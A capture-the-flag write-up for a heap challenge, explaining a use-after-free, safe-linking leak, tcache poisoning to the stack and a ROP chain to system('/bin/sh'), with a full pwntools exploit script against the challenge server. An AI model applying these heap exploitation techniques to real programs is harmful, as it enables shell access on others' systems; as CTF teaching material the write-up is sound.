---
# System prepended metadata

title: Securinets CTF 2025

---

# Securinets CTF
## Securinets - spell manager

> Heap UAF + safe-linking leak → tcache poisoning → unsorted-bin libc leak → `environ` stack leak → tcache-to-stack overwrite → ROP to `system("/bin/sh")`.

---

### TL;DR

- The program manages up to 32 “spells” with add/edit/view/delete and a separate “feedback” feature.
- **Bug 1 — UAF & dangling prints:** `delete_spell` frees but doesn’t null the pointer. `view_spells` still prints freed chunks → leak.
- **Safe-linking leak:** printing a freed tcache chunk yields `fd = heap >> 12` → recover **heap base**.
- **Tcache poisoning:** rewrite `fd` as `target ^ (heap >> 12)` to force the next-next allocation to any address we choose.
- **Libc leak:** craft an **unsorted-bin** free to leak `main_arena` and compute **libc base**.
- **Stack leak:** poison to `libc.environ-0x18` and read a stack pointer via the “feedback” printer.
- **Tcache-to-stack:** poison the bin to a **fake stack chunk** near saved RIP and write a **ROP** chain: `pop rdi; ret`, `"/bin/sh"`, `system` → shell.

---

### Challenge overview

- **Object layout:** each spell stores `name[0x20]`, `effect[0x40]`, `cost`, `cooldown`, `element`. Allocator size falls in the 0x80 tcache bin.
- **Menu:** 1) add 2) edit 3) view 4) delete 5) feedback (small malloc + `puts` of user bytes).
- **Protections (typical for remote):** NX on, ASLR on, glibc safe-linking. PIE not required for the strategy.

---

### Exploit

1. **Heap base leak via safe-linking**  
   Free a few spells (0x80 bin). Because the pointers stay in the global array, `view_spells()` prints a freed chunk. The first qword is the **mangled fd** (= `heap >> 12` for the first free). Shift left 12 → **heap base**.

2. **Tcache poison #1 → overlap + unsorted leak**  
   Using the UAF edit on a freed chunk, set its `fd` to `target ^ (heap>>12)`. Two allocations later, you get a chunk at **`target`**. Prepare metadata so a `free` goes to the **unsorted bin** (`0x501`), then read back the unsorted bk/fd pointer to **`main_arena`**. Compute **`libc base`**.

3. **Stack leak via `environ`**  
   Poison the 0x80 tcache again so the next allocation returns at **`libc.environ - 0x18`**. Use `feedback` prints to read past a controlled padding and capture the leaked **stack pointer**.

4. **Tcache poison #2 → chunk on the stack**  
   Calculate a **fake chunk** address near the saved return pointer (e.g., `environ - 0x148`). Poison the bin to that address; the **second** malloc after poisoning will return a chunk **on the stack**. Overwrite up to saved RIP with a small **ROP**: `ret`/`pop rdi; ret`, `"/bin/sh"`, `system`.

5. **Win**  
   Returning from the menu hits our chain → `system("/bin/sh")` → interactive shell.

---

### Final solve (exploit script)

```python
from pwn import *

elf = context.binary = ELF("./main_patched")
libc = elf.libc

# io = process()
io = remote("pwn-14caf623.p1.securinets.tn", 9091)

def add_spell(idx, name, effect, cost, cooldown, element):
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'(0-31): ', str(idx).encode())
    io.sendlineafter(b'name: ',   name)
    io.sendlineafter(b'effect: ', effect)
    io.sendlineafter(b'cost: ',   str(cost).encode())
    io.sendlineafter(b'cooldown (in seconds): ',   str(cooldown).encode())
    io.sendlineafter(b'Choice: ',   str(element).encode())

def edit_spell(idx, name, effect, cost, cooldown, element):
    io.sendlineafter(b'Choice: ', b'2')
    io.sendlineafter(b'(0-31): ', str(idx).encode())
    io.sendafter(b'name: ',   name)
    io.sendafter(b'effect: ', effect)
    io.sendlineafter(b'cost: ',   str(cost).encode())
    io.sendlineafter(b'cooldown (in seconds): ',   str(cooldown).encode())
    io.sendlineafter(b'Choice: ',   str(element).encode())

def view_spells():
    io.sendlineafter(b'Choice: ', b'3')

def delete_spell(idx):
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'(0-31): ', str(idx).encode())

def feedback(size, data):
    io.sendlineafter(b'Choice: ', b'5')
    io.sendlineafter(b'size of feedback: ', str(size).encode())
    io.sendafter(b'feedback: ', data)

for i in range(21):
    print(f"add {i}")
    add_spell(i, b'spell', b'effect', 5, 5, 0x81)

for i in range(8):
    print(f"delete {i}")
    delete_spell(i)

view_spells()
io.recvuntil(b'Name: ')
mangle = unpack(io.recvuntil(b'Effect')[:-9], 'all')
heap = mangle << 12
print(hex(heap))
print(hex(mangle))
edit_spell(7, p64((heap+0x770)^mangle), b'effect', 7, 7, 0x81)
edit_spell(9, b'spell', b'A'*56+p64(0x81), ((mangle) & 0xffffffff), 5, 0x81)
add_spell(21, b'spell', b'effect', 5, 5, 0x81)
add_spell(22, b'spellasd' + b'A'*16 + p64(0x501), b'effectasdf', 7, 7, 0x81)
delete_spell(10)
view_spells()
io.recvuntil(b'Slot 10:')
io.recvuntil(b'Name: ')
leak = unpack(io.recvuntil(b'Effect')[:-9], 'all')
print(hex(leak))
libc.address = leak - libc.sym.main_arena - 96
print(hex(libc.address))
edit_spell(6, p64((libc.sym.environ-0x18)^mangle), b'effect', 7, 7, 0x81)
feedback(112, b'A'*0x18)
feedback(112, b'A'*0x18)
io.recv(0x18)
stack = unpack(io.recv(6),'all')
print(hex(stack))
fake_chunk = stack - 0x148
print(hex(fake_chunk))
for i in range(25, 29):
    add_spell(i, b'spell', b'effect'+str(i).encode(), 5, 5, 0x81)
for i in range(25, 29):
    delete_spell(i)
edit_spell(28, p64((fake_chunk)^mangle), b'effect', 7, 7, 0x81)
add_spell(30, b'spell', b'effect'+str(i).encode(), 5, 5, 0x81)
rop = ROP(libc)
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
add_spell(30, b'A'*8 + p64(libc.address+0x000000000002882f) + rop.chain(), b'effect', 5, 5, 0x81)
io.interactive()
io.close()
```
